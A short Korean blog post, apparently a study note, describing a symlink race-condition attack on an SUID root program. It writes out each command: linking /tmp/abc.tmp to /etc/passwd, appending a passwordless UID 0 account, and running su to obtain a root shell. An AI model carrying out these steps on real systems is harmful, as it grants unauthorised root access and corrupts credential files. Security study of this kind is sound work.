[시스템 보안] 레이스 컨디션 공격 시나리오

2025. 9. 2. 13:17system(pwnable)시스템(포너블)

공격 환경

  • SUID root 프로그램 존재 (vulnprog이라고 명시하겠음)
  • 이 프로그램은 /tmp/abc.tmp라는 임시 파일을 만든 뒤 쓰기를 수행
  • 공격자는 attacker이라는 이름의 일반 사용자 계정을 사용

 

1. 심볼릭 링크 생성

 

 /tmp/abc.tmp라는 심볼릭 링크를 미리 생성하고 /etc/passwd 파일로 연결해 둠

ln -s /etc/passwd /tmp/abc.tmp

 

/etc/passwd 파일

root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:일반 사용자:/home/user:/bin/bash

 

ls -l /tmp/abc.tmp 결과

lrwxrwxrwx 1 attacker attacker 01 Sep 28 12:30 /tmp/abc.tmp -> /etc/passwd

 

 

2. root 계정 정보를 준비

 

passwd 파일에 쓸 내용을 작성하고 저장

echo 'hacker::0:0:hacker:/root:/bin/bash' > /tmp/input.txt

 

3. 프로그램 실행

 

프로그램에 작성한 파일 입력 리다이렉트, tmp/abc.tmp에 해당 파일 내용을 작성

/usr/bin/vulnprog < /tmp/input.txt

 

그런데 여기서 /tmp/abc.tmp심볼릭 링크이므로, 실제로는 /etc/passwd에 입력 리다이렉트가 발생
즉 /etc/passwd 파일 끝에 공격자가 만든 root 계정 줄이 추가되는 상황

 

4. 권한 획득

 

비밀번호를 비워놨기 때문에 로그인 시 바로 root 권한 쉘 획득이 가능함

su hacker